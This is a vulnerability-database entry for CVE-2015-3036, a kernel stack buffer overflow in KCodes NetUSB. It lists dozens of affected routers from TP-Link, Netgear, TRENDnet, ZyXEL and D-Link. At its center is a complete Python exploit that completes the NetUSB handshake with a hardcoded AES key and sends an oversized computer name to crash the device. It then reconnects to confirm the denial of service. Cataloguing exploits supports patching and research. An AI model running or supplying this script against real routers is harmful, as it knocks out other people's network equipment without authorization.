ID
VAR-E-201505-0187
CVE
cve_id: | CVE-2015-3036 | Trust: 3.0 |
EDB ID
38566
TITLE
NetUSB - Kernel Stack Buffer Overflow - Hardware dos Exploit
Trust: 0.6
DESCRIPTION
NetUSB - Kernel Stack Buffer Overflow. CVE-2015-3036CVE-122324 . dos exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | trendnet | model: | tew-632brp | scope: | - | version: | - | Trust: 1.2 |
vendor: | netusb | model: | - | scope: | - | version: | - | Trust: 1.0 |
vendor: | trendnet | model: | tew-812dru | scope: | - | version: | - | Trust: 0.6 |
vendor: | netusb | model: | stack | scope: | - | version: | - | Trust: 0.5 |
vendor: | zyxel | model: | nbg5715 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | zyxel | model: | nbg5615 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | zyxel | model: | nbg4615 | scope: | eq | version: | v2 | Trust: 0.3 |
vendor: | zyxel | model: | nbg-419n | scope: | eq | version: | v20 | Trust: 0.3 |
vendor: | trendnet | model: | tew-mfp1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-823dru | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-818dru | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-813dru | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-811dru | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-673gru | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-652brp | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | tew-634gru | scope: | - | version: | - | Trust: 0.3 |
vendor: | trendnet | model: | te100-mfp1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | tp link | model: | tx-vg1530 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr842nd | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr842nd | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr4300 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr3600 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr3500 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr1045nd | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr1043nd | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | tp link | model: | tl-wr1043nd | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | tp link | model: | td-wdr4900 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w9980b | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w9980 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8980b | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8980 | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8970b | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8970 | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8970 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8968 | scope: | eq | version: | 3.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8968 | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w8968 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w1043nd | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-w1042nd | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-vg3631 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | td-vg3511 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer vr200v | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer d9 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer d7b | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer d7 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer d5 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer d2 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer c7 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer c5 | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | tp link | model: | archer c20i | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | tp link | model: | archer c2 | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | netgear | model: | xaub2511 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | xau2511 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wndr4500v3 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wndr4500v2 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wndr4500 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wndr4300v2 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wndr4300 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wndr3700v5 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | wn3500rp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r8000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r7900 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r7500 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r7000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6700 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6300v2 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6300v1 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6250 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6220 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6200v2 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6200 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6100 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | r6050 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | pr2000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | lg6100d | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | jr6150 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | jnr3000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | ex7000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | ex6200 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | dgnd4000 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | dc112a | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | d6400 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | d6300 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | d6200 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | d6100 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | netgear | model: | centria wndr4720 | scope: | - | version: | - | Trust: 0.3 |
vendor: | netgear | model: | centria wndr4700 | scope: | - | version: | - | Trust: 0.3 |
vendor: | netgear | model: | ac1450 | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | kcodes | model: | netusb | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | d link | model: | dir-685 | scope: | eq | version: | 2.00 | Trust: 0.3 |
vendor: | d link | model: | dir-615 | scope: | eq | version: | 3.13 | Trust: 0.3 |
EXPLOIT
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: NetUSB Kernel Stack Buffer Overflow
# Date: 9/10/15
# Exploit Author: Adrian Ruiz Bermudo
# Vendor Homepage: http://www.kcodes.com/
# Version: Multiple: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
# Tested on: NETGEAR DC112A
# CVE : CVE-2015-3036
import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto
DOS_BYTES = 128 #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005
AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"
print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""
if len(sys.argv) >= 2:
try:
target = sys.argv[1]
try:
port = int(sys.argv[2])
except Exception as detail:
port = PORT_DEFAULT
#Inicialización de la conexión.
init = "\x56\x05"
#Datos aleatorios para el handshake
randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
#Nombre del equipo con 128 carácteres para provocar DoS.
computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
#Longitud del nombre del equipo - "\x80\x00\x00\x00"
lengthComputerName = struct.pack("i", DOS_BYTES);
#Sync - "\x07\x00\x00\x00"
syncOK = struct.pack("i", 7);
#Finalización de la conexión.
end = "\x01"
encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
randomDataCrypt1 = encryption_suite.encrypt(randomData)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)
print "Conectando:", target,":",port
sock.connect((target, port))
print "Conectado"
print "----------------"
print "Inicializando:", init.encode("hex")
sock.send(init)
print "Random data para cifrar por el servidor:", randomData.encode("hex")
sock.send(randomData)
print "----------------"
result = sock.recv(RECV_SIZE)
print "Random data cifrados por el servidor:", result.encode("hex")
print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
if (randomDataCrypt1 == result):
print "Handshake OK"
randomData = sock.recv(RECV_SIZE)
print "Random data a cifrar por el cliente:", randomData.encode("hex")
randomDataCrypt2 = encryption_suite.encrypt(randomData)
print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
print "----------------"
sock.send(randomDataCrypt2)
print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
sock.send(lengthComputerName)
print "Nombre del host a parear:", computerName.encode("hex")
sock.send(computerName)
print "----------------"
print "Sync: ", syncOK.encode("hex")
sock.send(syncOK)
if (sock.recv(RECV_SIZE) == syncOK):
print "Sync ok"
sock.send(end)
try:
#Esperamos unos segundos antes de conectar
time.sleep(TIMEOUT)
#Comprobamos si el dispositivo sigue vivo...
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)
sock.connect((target, port))
print "No vulnerable"
except Exception as detail:
print "Vulnerable, exploit OK"
else:
print 'Sync error.'
except Exception as detail:
print "Error de comunicación:", detail
else:
print "Usage:", sys.argv[0], "target [port]"
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Kernel Stack Buffer Overflow
Trust: 1.0
TAGS
tag: | exploit | Trust: 0.5 |
tag: | denial of service | Trust: 0.5 |
tag: | overflow | Trust: 0.5 |
CREDITS
Adrián Ruiz Bermudo
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2015-3036 | Trust: 3.0 |
db: | EXPLOIT-DB | id: | 38566 | Trust: 1.6 |
db: | 0DAYTODAY | id: | 24451 | Trust: 0.6 |
db: | EDBNET | id: | 24056 | Trust: 0.6 |
db: | EDBNET | id: | 59647 | Trust: 0.6 |
db: | PACKETSTORM | id: | 133919 | Trust: 0.5 |
db: | CERT/CC | id: | VU#177092 | Trust: 0.3 |
db: | DLINK | id: | SAP10057 | Trust: 0.3 |
db: | BID | id: | 74724 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2015-3036 | Trust: 2.7 |
url: | https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_kcodes_netusb_kernel_stack_buffer_overflow_v10.txt | Trust: 1.3 |
url: | https://0day.today/exploits/24451 | Trust: 0.6 |
url: | https://www.exploit-db.com/exploits/38566/ | Trust: 0.6 |
url: | http://www.kcodes.com/product/usb_01.html | Trust: 0.3 |
url: | http://securityadvisories.dlink.com/security/publication.aspx?name=sap10057 | Trust: 0.3 |
url: | https://www.kb.cert.org/vuls/id/177092 | Trust: 0.3 |
url: | https://github.com/funsecurity/netusb-exploit | Trust: 0.3 |
SOURCES
db: | BID | id: | 74724 |
db: | PACKETSTORM | id: | 133919 |
db: | EXPLOIT-DB | id: | 38566 |
db: | EDBNET | id: | 24056 |
db: | EDBNET | id: | 59647 |
LAST UPDATE DATE
2022-07-27T09:32:39.645000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 74724 | date: | 2015-12-08T22:03:00 |
SOURCES RELEASE DATE
db: | BID | id: | 74724 | date: | 2015-05-19T00:00:00 |
db: | PACKETSTORM | id: | 133919 | date: | 2015-10-10T14:44:44 |
db: | EXPLOIT-DB | id: | 38566 | date: | 2015-10-29T00:00:00 |
db: | EDBNET | id: | 24056 | date: | 2015-10-29T00:00:00 |
db: | EDBNET | id: | 59647 | date: | 2015-10-29T00:00:00 |